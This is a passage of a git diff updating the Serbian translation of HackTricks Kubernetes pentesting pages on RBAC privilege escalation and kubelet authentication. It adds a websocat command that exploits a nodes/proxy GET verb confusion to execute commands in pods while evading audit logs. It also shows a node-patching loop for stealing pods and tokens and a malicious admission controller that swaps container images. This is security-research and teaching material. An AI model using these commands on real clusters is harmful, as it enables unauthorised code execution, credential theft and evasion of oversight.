kako bi mogli da **eskaliraju privilegije**. -Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](#malicious-admission-controller). +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Eskalirati +### Escalate -Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](#built-in-privileged-escalation-prevention), principal ne može ažurirati niti kreirati uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate` ili `*`** nad **`roles`** ili **`clusterroles`** i odgovarajuće opcije vezivanja.\ -Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima. +Kao što možeš pročitati u sledećoj sekciji: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), principal ne može ni da ažurira ni da kreira roles ili clusterroles bez toga da sam poseduje te nove dozvole. Osim ako ima **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ +Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego koje on ima. ### Nodes proxy -Principali sa pristupom **`nodes/proxy`** podresursu mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici: +Principali sa pristupom do **`nodes/proxy`** subresursa mogu **izvršavati kod u podovima** preko Kubelet API-ja (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### Brisanje podova + neschedulabilni čvorovi +- Kubelet preslikava HTTP metode u RBAC glagole **pre** nego što dođe do nadogradnje protokola. WebSocket handshakes moraju početi sa **HTTP GET** (`Connection: Upgrade`), pa se `/exec` preko WebSocket-a proverava kao **verb `get`** umesto očekivanog `create`. +- `/exec`, `/run`, `/attach`, and `/portforward` nisu eksplicitno mapirani i potpadaju pod podrazumevani **`proxy`** subresource, tako da autorizaciono pitanje postaje **`can get nodes/proxy?`** +- Ako token ima samo **`nodes/proxy` + `get`**, direktan WebSocket pristup kubelet-u na `https://:10250` dozvoljava proizvoljno izvršavanje komandi u bilo kom pod-u na tom nodu. Isti zahtev preko API server proxy puta (`/api/v1/nodes//proxy/exec/...`) se odbija zato što je to običan HTTP POST i mapira se na `create`. +- Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; samo se inicijalni GET procenjuje. -Principali koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova. +**Direktan exploit (zahteva mrežnu dostupnost do kubelet-a i token sa `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Koristite **Node IP**, a ne ime node-a. Isti zahtev sa `curl -X POST` biće **Forbidden** zato što se mapira na `create`. +- Direktan pristup kubelet-a zaobilazi API server, tako da AuditPolicy prikazuje samo `subjectaccessreviews` od kubelet user agenta i **ne beleži `pods/exec`** komande. +- Enumerišite pogođene service accounts pomoću [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) da pronađete tokens ograničene na `nodes/proxy` GET. + +### Brisanje pods + onemogućavanje raspoređivanja na nodes + +Subjekti koji mogu **izbrisati pods** (`delete` verb over `pods` resource), ili **izbaciti pods** (`create` verb over `pods/eviction` resource), ili **promeniti status poda** (pristup `pods/status`) i mogu **učiniti druge nodes nepodesnim za raspoređivanje** (pristup `nodes/status`) ili **izbrisati nodes** (`delete` verb over `nodes` resource) i imaju kontrolu nad jednim podom, mogu **ukrasti pods sa drugih nodes** tako da se oni **izvrše** na **kompromitovanom** **node-u** i napadač može **ukrasti the tokens** iz tih podova. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -641,41 +657,41 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Status usluga (CVE-2020-8554) +### Status servisa (CVE-2020-8554) -Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljeni CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Subjekti koji mogu **izmeniti** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljen CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mitigacija za CVE-2020-8554 sprečava samo ExternalIP services (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Status čvorova i podova -Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja. +Subjekti koji imaju **`update`** ili **`patch`** dozvole nad `nodes/status` ili `pods/status`, mogu izmeniti labele da utiču na primenjena ograničenja raspoređivanja. -## Ugrađena prevencija eskalacije privilegija +## Ugrađena zaštita od eskalacije privilegija -Kubernetes ima [ugrađeni mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija. +Kubernetes ima [ugrađen mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija. -Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan. +Ovaj sistem osigurava da **korisnici ne mogu povisiti svoje privilegije modifikovanjem rola ili role binding-a**. Sprovođenje ovog pravila vrši se na nivou API-ja, obezbeđujući zaštitu čak i kada je RBAC authorizer neaktivan. -Pravilo stipulira da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles. +Pravilo predviđa da **korisnik može kreirati ili ažurirati rolu samo ako poseduje sve dozvole koje ta rola obuhvata**. Štaviše, obim postojećih dozvola korisnika mora biti usklađen sa obimom role koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničen na isti namespace (ili na nivou klastera) za Roles. > [!WARNING] -> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da ih sam poseduje. +> Postoji izuzetak od prethodnog pravila. Ako subjekt ima **verb `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije rola i clusterrole čak i bez posedovanja tih dozvola. -### **Dobijanje i patch RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.** +> **Izgleda da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dodelili neke privilegije ako ih već nemate.** -Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.** +Dozvola za kreiranje Rolebinding-a omogućava korisniku da **veže role za service account**. Ova dozvola može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže admin privilegije za kompromitovani service account.** ## Ostali napadi -### Sidecar proxy aplikacija +### Sidecar proxy app -Po defaultu, ne postoji nikakva enkripcija u komunikaciji između podova. Uzajamna autentifikacija, dvosmerna, pod do poda. +Podrazumevano ne postoji enkripcija u komunikaciji između podova. Mutual authentication, dvosmerna, pod-to-pod. -#### Kreiranje sidecar proxy aplikacije +#### Kreirajte sidecar proxy aplikaciju -Sidecar kontejner se sastoji samo od dodavanja **drugog (ili više) kontejnera unutar poda**. +Sidecar container se sastoji u dodavanju **drugog (ili više) kontejnera unutar poda**. Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera: ```yaml @@ -687,15 +703,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Na primer, da biste uneli backdoor u postojeći pod sa novim kontejnerom, možete jednostavno dodati novi kontejner u specifikaciju. Imajte na umu da možete **dati više dozvola** drugom kontejneru koje prvi neće imati. +For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have. Više informacija na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Malicious Admission Controller +### Zlonamerni Admission Controller -Admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što dođe do trajanja objekta, ali **nakon što je zahtev autentifikovan** **i autorizovan**. +An admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što se objekat bude perzistiran, ali **nakon što je zahtev autentifikovan** **i autorizovan**. -Ako napadač nekako uspe da **ubaci Mutation Admission Controller**, moći će da **modifikuje već autentifikovane zahteve**. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru. +Ako napadač nekako uspe da **inject a Mutation Admission Controller**, biće u mogućnosti da **izmeni već autentifikovane zahteve**. To može potencijalno dovesti do privesc-a, a češće omogućiti perzistenciju u cluster-u. **Primer iz** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -709,25 +725,23 @@ Proverite status da vidite da li je spremno: kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` -![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) - -Zatim implementirajte novi pod: +Zatim pokrenite novi pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Kada vidite grešku `ErrImagePull`, proverite ime slike pomoću jednog od upita: +Kada vidite grešku `ErrImagePull`, proverite ime image-a pomoću bilo kojeg od sledećih upita: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Kao što možete videti na gornjoj slici, pokušali smo da pokrenemo sliku `nginx`, ali je konačno izvršena slika `rewanthtammana/malicious-image`. Šta se upravo desilo!!? +Kao što se vidi na gornjoj slici, pokušali smo da pokrenemo image `nginx`, ali je konačno izvršen image `rewanthtammana/malicious-image`. Šta se upravo desilo!!? -#### Tehnički detalji +#### Tehničke pojedinosti -Skript `./deploy.sh` uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na posmatrane rezultate: +Skript `./deploy.sh` uspostavlja mutating webhook admission controller, koji menja zahteve ka Kubernetes API kako je navedeno u linijama njegove konfiguracije, utičući na posmatrane rezultate: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -735,9 +749,9 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`. +Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`. -## OPA Gatekeeper zaobilaženje +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -747,16 +761,16 @@ Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanth ### **Onemogućavanje automount-a tokena servisnog naloga** -- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije. -- **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6. +- **Pods and Service Accounts**: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala bezbednost, Kubernetes omogućava onemogućavanje ove automount funkcije. +- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6. ### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings** -- **Selektivno uključivanje**: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost. +- **Selective Inclusion**: Uverite se da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno pregledajte i uklanjajte nebitne korisnike kako biste održali strogu bezbednost. ### **Uloge specifične za namespace umesto uloga na nivou klastera** -- **Uloge vs. ClusterRoles**: Preferirajte korišćenje Uloga i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje se primenjuju na nivou klastera. Ovaj pristup nudi finiju kontrolu i ograničava opseg dozvola. +- **Roles vs. ClusterRoles**: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje važe na nivou celog klastera. Ovakav pristup daje finiju kontrolu i ograničava obim dozvola. ### **Koristite automatizovane alate** @@ -772,12 +786,15 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Reference** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 2e4b5bb4c..d9eb499f2 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,24 +1,24 @@ -# Kubelet Authentication & Authorization +# Kubelet autentikacija i autorizacija {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Kubelet autentikacija -[**Iz dokumenata:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane drugih konfigurisanih metoda autentifikacije tretiraju se kao anonimni zahtevi, i dodeljuju im se **korisničko ime `system:anonymous`** i **grupa `system:unauthenticated`**. +By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **korisničko ime `system:anonymous`** and a **grupa `system:unauthenticated`**. -**3** metode **autentifikacije** su: +Postoje **3** metode autentikacije su: -- **Anonimna** (default): Koristite postavku postavljanjem parametra **`--anonymous-auth=true` ili konfiguracije:** +- **Anonymous** (podrazumevano): Dozvoljeno ako je podešen parametar **`--anonymous-auth=true`** ili u konfiguraciji: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokene** kao autorizaciju (bilo koji validan token će biti validan). Dozvolite to sa: -- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena na API serveru +- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokens** kao autorizaciju (bilo koji važeći token će biti važeći). Dozvolite to sa: +- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena u API serveru - pokrenite kubelet sa **`--authentication-token-webhook`** i **`--kubeconfig`** zastavicama ili koristite sledeće podešavanje: ```json "authentication": { @@ -28,11 +28,11 @@ Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane dr }, ``` > [!NOTE] -> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da **utvrdi informacije o korisniku** iz bearer tokena - +> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da bi **odredio informacije o korisniku** iz bearer tokena +> - **X509 klijentski sertifikati:** Omogućavaju autentifikaciju putem X509 klijentskih sertifikata -- pogledajte [dokumentaciju o autentifikaciji apiservera](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja -- pokrenite kubelet sa `--client-ca-file` flagom, pružajući CA paket za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom: +- pogledajte [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja +- pokrenite kubelet sa `--client-ca-file` flagom, obezbeđujući CA bundle za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane dr } } ``` -## Kubelet Authorization +## Kubelet autorizacija -Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **zatim se autorizuje**. **Podrazumevani** način autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**. +Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **se zatim autorizuje**. Podrazumevani režim autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**. -Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **najčešće pronaći napolju**). Ovaj način će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili zabrani neku akciju. +Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **uglavnom sresti napolju**). Ovaj režim će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili onemogući neku akciju. > [!WARNING] -> Imajte na umu da čak i ako je **anonimna autentifikacija omogućena**, **anonimni pristup** možda **nema nikakve dozvole** za izvršavanje bilo koje akcije. +> Imajte na umu da čak i ako je **anonimna autentifikacija omogućena**, **anonimni pristup** možda **nema nikakve dozvole** za izvođenje bilo koje akcije. -Autorizacija putem webhook-a može se konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracione datoteke sa: +Autorizacija preko webhook-a se može konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracionog fajla sa: ```json "authorization": { "mode": "Webhook", @@ -59,41 +59,45 @@ Autorizacija putem webhook-a može se konfigurisati koristeći **parametar `--au } }, ``` -Kubelet poziva **`SubjectAccessReview`** API na konfigurisanom API serveru da **utvrdi** da li je svaki zahtev **ovlašćen.** +Kubelet poziva **`SubjectAccessReview`** API na konfigurisanom API serveru da **utvrdi** da li je svaki zahtev **autorizovan.** -Kubelet ovlašćuje API zahteve koristeći isti [pristup atributima zahteva](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kao apiserver: +Kubelet autorizuje API zahteve koristeći isti [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) pristup kao apiserver: - **Akcija** -| HTTP glagol | glagol zahteva | -| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | kreirati | -| GET, HEAD | dobiti (za pojedinačne resurse), lista (za kolekcije, uključujući puni sadržaj objekta), posmatrati (za posmatranje pojedinačnog resursa ili kolekcije resursa) | -| PUT | ažurirati | -| PATCH | zakrpa | -| DELETE | obrisati (za pojedinačne resurse), obrisati kolekciju (za kolekcije) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- **Resurs** koji komunicira sa Kubelet API je **uvek** **čvorovi**, a **podresurs** se **utvrđuje** iz putanje dolaznog zahteva: +- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: -| Kubelet API | resurs | podresurs | +| Kubelet API | resurs | subresurs | | ------------ | ------ | --------- | -| /stats/\* | čvorovi| statistika | -| /metrics/\* | čvorovi| metrički | -| /logs/\* | čvorovi| log | -| /spec/\* | čvorovi| specifikacija | -| _svi ostali_ | čvorovi| proxy | +| /stats/* | nodes | stats | +| /metrics/* | nodes | metrics | +| /logs/* | nodes | log | +| /spec/* | nodes | spec | +| _all others_ | nodes | proxy | -Na primer, sledeći zahtev je pokušao da pristupi informacijama o podovima kubeleta bez dozvole: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +Na primer, sledeći zahtev je pokušao da pristupi informacijama o pods kubeleta bez dozvole: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Dobijamo **Zabranjeno**, tako da je zahtev **prošao proveru autentifikacije**. Da nije, dobili bismo samo `Neovlašćen` poruku. -- Možemo videti **korisničko ime** (u ovom slučaju iz tokena) -- Proverite kako je **resurs** bio **čvorovi** i **podresurs** **proxy** (što ima smisla sa prethodnim informacijama) +- Dobili smo **Forbidden**, dakle zahtev je **passed the Authentication check**. Da nije tako, dobili bismo samo `Unauthorised` poruku. +- Možemo videti **username** (u ovom slučaju iz tokena) +- Pogledajte kako je **resource** bio **nodes** i **subresource** **proxy** (što je u skladu sa prethodnim informacijama) ## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}